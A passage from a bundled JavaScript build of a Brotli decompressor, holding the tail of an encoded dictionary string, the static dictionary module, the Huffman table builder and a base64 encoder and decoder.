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";
},{}],6:[function(require,module,exports){
/* Copyright 2013 Google Inc. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Collection of static dictionary words.
*/
var data = require('./dictionary-browser');
exports.init = function() {
exports.dictionary = data.init();
};
exports.offsetsByLength = new Uint32Array([
0, 0, 0, 0, 0, 4096, 9216, 21504, 35840, 44032,
53248, 63488, 74752, 87040, 93696, 100864, 104704, 106752, 108928, 113536,
115968, 118528, 119872, 121280, 122016,
]);
exports.sizeBitsByLength = new Uint8Array([
0, 0, 0, 0, 10, 10, 11, 11, 10, 10,
10, 10, 10, 9, 9, 8, 7, 7, 8, 7,
7, 6, 6, 5, 5,
]);
exports.minDictionaryWordLength = 4;
exports.maxDictionaryWordLength = 24;
},{"./dictionary-browser":4}],7:[function(require,module,exports){
function HuffmanCode(bits, value) {
this.bits = bits; /* number of bits used for this symbol */
this.value = value; /* symbol value or table offset */
}
exports.HuffmanCode = HuffmanCode;
var MAX_LENGTH = 15;
/* Returns reverse(reverse(key, len) + 1, len), where reverse(key, len) is the
bit-wise reversal of the len least significant bits of key. */
function GetNextKey(key, len) {
var step = 1 << (len - 1);
while (key & step) {
step >>= 1;
}
return (key & (step - 1)) + step;
}
/* Stores code in table[0], table[step], table[2*step], ..., table[end] */
/* Assumes that end is an integer multiple of step */
function ReplicateValue(table, i, step, end, code) {
do {
end -= step;
table[i + end] = new HuffmanCode(code.bits, code.value);
} while (end > 0);
}
/* Returns the table width of the next 2nd level table. count is the histogram
of bit lengths for the remaining symbols, len is the code length of the next
processed symbol */
function NextTableBitSize(count, len, root_bits) {
var left = 1 << (len - root_bits);
while (len < MAX_LENGTH) {
left -= count[len];
if (left <= 0) break;
++len;
left <<= 1;
}
return len - root_bits;
}
exports.BrotliBuildHuffmanTable = function(root_table, table, root_bits, code_lengths, code_lengths_size) {
var start_table = table;
var code; /* current table entry */
var len; /* current code length */
var symbol; /* symbol index in original or sorted table */
var key; /* reversed prefix code */
var step; /* step size to replicate values in current table */
var low; /* low bits for current root entry */
var mask; /* mask for low bits */
var table_bits; /* key length of current table */
var table_size; /* size of current table */
var total_size; /* sum of root table size and 2nd level table sizes */
var sorted; /* symbols sorted by code length */
var count = new Int32Array(MAX_LENGTH + 1); /* number of codes of each length */
var offset = new Int32Array(MAX_LENGTH + 1); /* offsets in sorted table for each length */
sorted = new Int32Array(code_lengths_size);
/* build histogram of code lengths */
for (symbol = 0; symbol < code_lengths_size; symbol++) {
count[code_lengths[symbol]]++;
}
/* generate offsets into sorted symbol table by code length */
offset[1] = 0;
for (len = 1; len < MAX_LENGTH; len++) {
offset[len + 1] = offset[len] + count[len];
}
/* sort symbols by length, by symbol order within each length */
for (symbol = 0; symbol < code_lengths_size; symbol++) {
if (code_lengths[symbol] !== 0) {
sorted[offset[code_lengths[symbol]]++] = symbol;
}
}
table_bits = root_bits;
table_size = 1 << table_bits;
total_size = table_size;
/* special case code with only one value */
if (offset[MAX_LENGTH] === 1) {
for (key = 0; key < total_size; ++key) {
root_table[table + key] = new HuffmanCode(0, sorted[0] & 0xffff);
}
return total_size;
}
/* fill in root table */
key = 0;
symbol = 0;
for (len = 1, step = 2; len <= root_bits; ++len, step <<= 1) {
for (; count[len] > 0; --count[len]) {
code = new HuffmanCode(len & 0xff, sorted[symbol++] & 0xffff);
ReplicateValue(root_table, table + key, step, table_size, code);
key = GetNextKey(key, len);
}
}
/* fill in 2nd level tables and add pointers to root table */
mask = total_size - 1;
low = -1;
for (len = root_bits + 1, step = 2; len <= MAX_LENGTH; ++len, step <<= 1) {
for (; count[len] > 0; --count[len]) {
if ((key & mask) !== low) {
table += table_size;
table_bits = NextTableBitSize(count, len, root_bits);
table_size = 1 << table_bits;
total_size += table_size;
low = key & mask;
root_table[start_table + low] = new HuffmanCode((table_bits + root_bits) & 0xff, ((table - start_table) - low) & 0xffff);
}
code = new HuffmanCode((len - root_bits) & 0xff, sorted[symbol++] & 0xffff);
ReplicateValue(root_table, table + (key >> root_bits), step, table_size, code);
key = GetNextKey(key, len);
}
}
return total_size;
}
},{}],8:[function(require,module,exports){
'use strict'
exports.byteLength = byteLength
exports.toByteArray = toByteArray
exports.fromByteArray = fromByteArray
var lookup = []
var revLookup = []
var Arr = typeof Uint8Array !== 'undefined' ? Uint8Array : Array
var code = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
for (var i = 0, len = code.length; i < len; ++i) {
lookup[i] = code[i]
revLookup[code.charCodeAt(i)] = i
}
// Support decoding URL-safe base64 strings, as Node.js does.
// See: https://en.wikipedia.org/wiki/Base64#URL_applications
revLookup['-'.charCodeAt(0)] = 62
revLookup['_'.charCodeAt(0)] = 63
function getLens (b64) {
var len = b64.length
if (len % 4 > 0) {
throw new Error('Invalid string. Length must be a multiple of 4')
}
// Trim off extra bytes after placeholder bytes are found
// See: https://github.com/beatgammit/base64-js/issues/42
var validLen = b64.indexOf('=')
if (validLen === -1) validLen = len
var placeHoldersLen = validLen === len
? 0
: 4 - (validLen % 4)
return [validLen, placeHoldersLen]
}
// base64 is 4/3 + up to two characters of the original data
function byteLength (b64) {
var lens = getLens(b64)
var validLen = lens[0]
var placeHoldersLen = lens[1]
return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
}
function _byteLength (b64, validLen, placeHoldersLen) {
return ((validLen + placeHoldersLen) * 3 / 4) - placeHoldersLen
}
function toByteArray (b64) {
var tmp
var lens = getLens(b64)
var validLen = lens[0]
var placeHoldersLen = lens[1]
var arr = new Arr(_byteLength(b64, validLen, placeHoldersLen))
var curByte = 0
// if there are placeholders, only get up to the last complete 4 chars
var len = placeHoldersLen > 0
? validLen - 4
: validLen
for (var i = 0; i < len; i += 4) {
tmp =
(revLookup[b64.charCodeAt(i)] << 18) |
(revLookup[b64.charCodeAt(i + 1)] << 12) |
(revLookup[b64.charCodeAt(i + 2)] << 6) |
revLookup[b64.charCodeAt(i + 3)]
arr[curByte++] = (tmp >> 16) & 0xFF
arr[curByte++] = (tmp >> 8) & 0xFF
arr[curByte++] = tmp & 0xFF
}
if (placeHoldersLen === 2) {
tmp =
(revLookup[b64.charCodeAt(i)] << 2) |
(revLookup[b64.charCodeAt(i + 1)] >> 4)
arr[curByte++] = tmp & 0xFF
}
if (placeHoldersLen === 1) {
tmp =
(revLookup[b64.charCodeAt(i)] << 10) |
(revLookup[b64.charCodeAt(i + 1)] << 4) |
(revLookup[b64.charCodeAt(i + 2)] >> 2)
arr[curByte++] = (tmp >> 8) & 0xFF
arr[curByte++] = tmp & 0xFF
}
return arr
}
function tripletToBase64 (num) {
return lookup[num >> 18 & 0x3F] +
lookup[num >> 12 & 0x3F] +
lookup[num >> 6 & 0x3F] +
lookup[num & 0x3F]
}
function encodeChunk (uint8, start, end) {
var tmp
var output = []
for (var i = start; i < end; i += 3) {
tmp =
((uint8[i] << 16) & 0xFF0000) +
((uint8[i + 1] << 8) & 0xFF00) +
(uint8[i + 2] & 0xFF)
output.push(tripletToBase64(tmp))
}
return output.join('')
}
function fromByteArray (uint8) {
var tmp
var len = uint8.length
var extraBytes = len % 3 // if we have 1 byte left, pad 2 bytes
var parts = []
var maxChunkLength = 16383 // must be multiple of 3
// go through the array every three bytes, we'll deal with trailing stuff later
for (var i = 0, len2 = len - extraBytes; i < len2; i += maxChunkLength) {
parts.push(encodeChunk(
uint8, i, (i + maxChunkLength) > len2 ? len2 : (i + maxChunkLength)
))
}
// pad the end with zeros, but make sure to not forget the extra bytes
if (extraBytes === 1) {
tmp = uint8[len - 1]
parts.push(
lookup[tmp >> 2] +
lookup[(tmp << 4) & 0x3F] +
'=='
)
} else if (extraBytes === 2) {
